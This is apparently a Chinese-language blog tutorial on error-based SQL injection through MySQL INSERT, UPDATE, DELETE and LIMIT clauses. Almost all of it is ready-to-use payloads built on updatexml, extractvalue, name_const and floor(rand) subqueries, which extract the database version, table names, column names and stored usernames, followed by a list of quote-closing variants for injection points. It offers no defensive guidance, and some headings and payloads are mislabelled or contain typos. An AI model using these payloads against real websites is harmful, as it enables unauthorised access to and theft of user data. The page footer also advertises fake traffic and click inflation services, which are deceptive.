MySQL插入(insert)、更新(update)、删除(delete)语句注入

利用SQL注入获取数据库数据,利用的方法可以大致分为联合查询、报错、布尔盲注以及延时注入,通常这些方法都是基于select查询语句中的SQL注射点来实现的。

 

那么,当我们发现了一个基于insert、update、delete语句的注射点时(比如有的网站会记录用户浏览记录,包括referer、client_ip、user-agent等,还有类似于用户注册、密码修改、信息删除等功能),还可以用如上方法获取我们需要的数据吗?在这里,我们以MYSQL的显错为例,看一下如何在insert、update、delete的注射点中获取我们想要的数据。

 

环境搭建:

为了更好的演示注射效果,我们先利用下面的语句创建原始数据:

create database test;
use test;
create table users(
id int(3) not null auto_increment,
username varchar(20) not null,
password varchar(20)  not null,
primary key (id)
);
insert into users values(1,'Jane','Eyre');

 

看一下当前数据结构:

users数据库结构

 

注入原理:

因为我们这里是用的显错模式,所以思路就是在insert、update、delete语句中人为构造语法错误,利用如下语句:

insert into users (id, username, password) values (2,''inject here'','Olivia');
insert into users (id, username, password) values (2,""inject here"",'Olivia');

mysql构造语法错误

 

注意:大家看到本来是要填入username字段的地方,我们填了'inject here'和”inject here”两个字段来实现爆错,一个是单引号包含、一个是双引号包含,要根据实际的注入点灵活构造。

 

一、Mysql插入语句:insert注入

 

1、利用 updatexml()函数 获取数据

payload:

or updatexml(1,concat(0x7e,(version()),) or

 

例子:

insert into users(id,username,password) values (2,'0livia' or updatexml(1,concat(0x7e,(version())),0) or'','Nervo');

Mysql插入语句:insert注入

 

2、利用 name_const()函数 获取数据

payload:

or extractvalue(1,concat(0x7e,database())) or

 

例子:

insert into users (id,username,password) values (2,'0livia'or extractvalue(1,concat(0x7e,database())) or '','Nervo');

Mysql插入语句:insert注入

 

3、利用 extractvalue()函数 获取数据

payload:

or extractvalue(1,concat(0x7e,database())) or

 

例子:

INSERT INTO users (id, username, password) VALUES (2,'Olivia' or extractvalue(1,concat(0x7e,database())) or'', 'Nervo');

 

4、利用 子查询注入 获取数据

payload:

or (select * from (select (name_const(version(),1)),name_const(version(),1))a) or

 

例子:

insert into users (id,username,password) values (1,'0livia' or (select * from (select(name_const(version(),1)),name_const(version(),1))a) or '','Nervo');

INSERT INTO users (id, username, password) VALUES (1,'Olivia' or (SELECT 1 FROM(SELECT count(*),concat((SELECT (SELECT concat(0x7e,0x27,cast(database() as char),0x27,0x7e)) FROM information_schema.tables limit 0,1),floor(rand(0)*2))x FROM information_schema.columns group by x)a) or'', 'Nervo');

Mysql插入语句:insert注入

 

获取test数据库表名:

INSERT INTO users (id, username, password) VALUES (1,'Olivia' or (SELECT 1 FROM(SELECT count(*),concat((SELECT (SELECT (SELECT distinct concat(0x7e,0x27,cast(table_name as char),0x27,0x7e) FROM information_schema.tables WHERE table_schema=database() LIMIT 1,1)) FROM information_schema.tables limit 0,1),floor(rand(0)*2))x FROM information_schema.columns group by x)a) or '','Nervo');

 

获取users表的列名:

INSERT INTO users (id, username, password) VALUES (1, 'Olivia' or (SELECT 1 FROM(SELECT count(*),concat((SELECT (SELECT (SELECT distinct concat(0x7e,0x27,cast(column_name as char),0x27,0x7e) FROM information_schema.columns WHERE table_schema=database() AND table_name='users' LIMIT 0,1)) FROM information_schema.tables limit 0,1),floor(rand(0)*2))x FROM information_schema.columns group by x)a) or '', 'Nervo');

 

获取users表的数据:

INSERT INTO users (id, username, password) VALUES (1, 'Olivia' or (SELECT 1 FROM(SELECT count(*),concat((SELECT (SELECT (SELECT concat(0x7e,0x27,cast(users.username as char),0x27,0x7e) FROM `test`.users LIMIT 0,1) ) FROM information_schema.tables limit 0,1),floor(rand(0)*2))x FROM information_schema.columns group by x)a) or '', 'Nervo');

 

二、Mysql更新语句:update注入

update:用于“用户注册、密码修改、信息删除”等功能;

 

由于 update注入 和上面的 insert 注入 原理都一样,因此我就不多说了,直接拿示例出来了。

 

update users set password='Nicky' or

 

1、updatexml() 示例:

UPDATE users SET password='Nicky' or updatexml(2,concat(0x7e,(version())),0) or''WHERE id=2 and username='Olivia';

 

2、name_const() 示例:

UPDATE users SET password='Nicky' or (SELECT * FROM (SELECT(name_const(version(),1)),name_const(version(),1))a) or '' WHERE id=2 and username='Nervo';

 

3、extractvalue() 示例:

UPDATE users SET password='Nicky' or extractvalue(1,concat(0x7e,database())) or'' WHERE id=2 and username='Nervo';

 

4、子查询 示例:

UPDATE users SET password='Nicky' or (SELECT 1 FROM(SELECT count(*),concat((SELECT(SELECT concat(0x7e,0x27,cast(database() as char),0x27,0x7e)) FROM information_schema.tables limit 0,1),floor(rand(0)*2))x FROM information_schema.columns group by x)a)or'' WHERE id=2 and username='Nervo';

 

三、Mysql删除语句:delete注入

原理跟上面一样,我也不多说,直接给大家看例子;

 

1、updatexml() 示例:

DELETE FROM users WHERE id=2 or updatexml(1,concat(0x7e,(version())),0) or'';

 

2、name_const() 示例:

DELETE FROM users WHERE id=1 or (SELECT * FROM (SELECT(name_const(version(),1)),name_const(version(),1))a)or '';

 

3、extractvalue() 示例:

DELETE FROM users WHERE id=1 or extractvalue(1,concat(0x7e,database())) or'';

 

4、子查询 示例:

DELETE FROM users WHERE id=1 or (SELECT 1 FROM(SELECT count(*),concat((SELECT(SELECT concat(0x7e,0x27,cast(database() as char),0x27,0x7e)) FROM information_schema.tables limit 0,1),floor(rand(0)*2))x FROM information_schema.columns group by x)a)or'' ;

 

四、Mysql语句:limit注入

select * from users where id>0 order by id limit 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version0)),1);

 

注意:

1、SQL语句组合拼接,保证SQL语句正常运行;

2、SQL语句中闭合使用(符号或截断);

3、每个不同注入式和网站应用功能有关;

 

更多闭合变种:

' or (payload) or '
' and (payload) and '
' or (payload) and '
' or (payload) and '='
'* (payload) *'
' or (payload) and '
" – (payload) – "
付杰
SEO顾问服务 中小型网站 单站/最低99.9元 全方位优化
SEO顾问服务 中小型网站 单站/最低99.9元 全方位优化
  • ¥ 99.9元
  • 市场价:5000元
刷流量、刷人气、刷点击、刷收藏、刷APP关键词服务
刷流量、刷人气、刷点击、刷收藏、刷APP关键词服务
  • ¥ 1.0元
  • 市场价:9.9元
免费SSL证书服务 HTTPS申请 安装 配置 支持通配符*
免费SSL证书服务 HTTPS申请 安装 配置 支持通配符*
  • ¥ 199.9元
  • 市场价:20000元
花牛苹果 甘肃天水 李宏恩家自种 1斤 包邮
花牛苹果 甘肃天水 李宏恩家自种 1斤 包邮
  • ¥ 6.8元
  • 市场价:8.8元

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: